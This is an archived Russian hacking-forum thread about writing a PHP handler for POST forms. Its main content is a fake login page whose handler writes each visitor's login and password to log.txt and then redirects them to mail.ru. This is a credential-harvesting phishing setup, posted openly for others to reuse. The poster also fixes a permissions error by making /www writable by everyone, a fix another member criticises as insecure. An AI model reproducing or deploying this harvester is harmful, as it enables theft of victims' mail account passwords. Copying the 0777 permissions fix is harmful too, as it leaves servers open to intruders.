Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

PHP обработчик POST запросов.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> PHP обработчик POST запросов.
Имя
Сообщение << Старые топики   Новые топики >>
PHP обработчик POST запросов. - 2011-04-05 19:48:49.620000   
POXYIST

Сообщений: 48
Оценки: 0
Присоединился: 2010-04-13 11:50:01.080000
Есть форма:
<html>
<head>
<title> Форма </title>
</head>
<body>
<form method = "post" action = "obrabotka.php">
Логин: <input type = "text" name = "Login">
<input type = "submit" >
</form>
</body>
</html>
Люди добрые напишите код php обработчика,который Логин сохраняет в текстовый файл login.txt :)
Post #: 1
RE: PHP обработчик POST запросов. - 2011-04-05 21:25:56.966666   
mscrack

Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
&lt;?php $filename = "login.txt"; $login = ((isset($_POST['login'])) ? $_POST['login'] : ""); $fopen = fopen($filename, 'a+'); if(!$fopen) { echo 'Не возможно открыть файл, проверьте права&lt;br&gt;'; } else { fwrite($fopen, $login.' | '); fclose($fopen); } ?&gt;
Post #: 2
RE: PHP обработчик POST запросов. - 2011-04-06 00:00:15.900000   
POXYIST

Сообщений: 48
Оценки: 0
Присоединился: 2010-04-13 11:50:01.080000
Спасибо[sm=ay.gif]
Вот сляпал такую форму
<html>
<head>
<title> Форма </title>
</head>
<body>
<form method = "post" action = "obrabotka.php">
Логин: <input type = "text" name = "login">
Пароль: <input type = "text" name = "pass">
<input type = "submit" value = "Вход">
</form>
</body>
</html>

И вот обработчик к ней
<?php

$log = fopen("log.txt", 'a+');

fwrite($log,"\n Логин: $login Пароль: $pass \n");
fclose($log);

?>
Создаёт log.txt и пишет в нём логин и пароль[sm=ab.gif] Мож каму пригодиться[sm=ad.gif]
Post #: 3
RE: PHP обработчик POST запросов. - 2011-04-06 20:17:39.726666   
POXYIST

Сообщений: 48
Оценки: 0
Присоединился: 2010-04-13 11:50:01.080000
[sm=17.gif] Поднял Апач на Linux установил php5 И закинул форму с обработкой.Всё настроил,захожу удалённо на сервер форма работает,а обработчик текстовый файл не хочет создавать.Под Виндой на Денвере локально всё работало.

<?php
$filename = "login.txt";
$login = ((isset($_POST['login'])) ? $_POST['login'] : "");

$fopen = fopen($filename, 'a+');
if(!$fopen) {
echo 'Не возможно открыть файл, проверьте права<br>';
} else {
fwrite($fopen, $login.' | ');
fclose($fopen);
}
?>

Вот этот обработчик пишит "Не возможно открыть файл, проверьте права"

А этот:

<?php

$log = fopen("log.txt", 'a+');

fwrite($log,"\n Логин: $login Пароль: $pass \n");
fclose($log);

echo "<HТМL><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://mail.ru/'></head></HТМL>";
?>

Перекидывает на маил.ру, но файл также не создаётся(((

Тоесть получается всё вроде работает,за исключением создания текстового документа который та мне и нужен.
[sm=bu.gif] Почему не создаётся log.txt В Апаче под Linux-ом????[sm=bu.gif]

[sm=bc.gif]Хоть намекните,ну очнь нада…плз..[sm=bh.gif]

Захожу локально (т.е. на машине в которой стоит Апач)-пишу localhost форма открывается,ввожу данные и нажимаю отправить,и тут вылазиет окно Мозилы и предлагает сохранить или открыть с помощью разных прог файл obrabotka.php Мндя.. Во жопа та какая.. Чё делать то???[sm=ak.gif]
Post #: 4
RE: PHP обработчик POST запросов. - 2011-04-06 21:38:07.846666   
POXYIST

Сообщений: 48
Оценки: 0
Присоединился: 2010-04-13 11:50:01.080000
Фуууфффф..Разобрался с помощю своего мозга[sm=ab.gif] Нужно было прова доступа подправить.Вобщем тыркался ,тыркался..незнаю чё ввёл,но что-то типа mkdir("/www", 0777); Тока не так,а как х..й поймеш.Вобщем работает и хрен с ним…[sm=ao.gif]
Post #: 5
RE: PHP обработчик POST запросов. - 2011-04-07 01:35:15.586666   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
quote:

ORIGINAL: POXYIST
Фуууфффф..Разобрался с помощю своего мозга[sm=ab.gif] Нужно было прова доступа подправить.Вобщем тыркался ,тыркался..незнаю чё ввёл,но что-то типа mkdir("/www", 0777);

Молодца! Ты дал права на чтение/запись на директорию /www всем пользователям системы.
Права на файлы, вообще-то очень неплохая штука для подстраховки, на случай взлома. Они сильно мешают развернуться взломщику в полный рост. Ты же отказался от этого.
Делай не так, создай log.txt в директории /tmp. И создай с правами: 0600 (-rw——-). То есть только владелец файла сможет читать из/писать в этот файл. Ну ещё рут сможет, но руту всё можно.
Post #: 6
Страниц:  [1]
Все форумы >> [Веб-программинг] >> PHP обработчик POST запросов.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.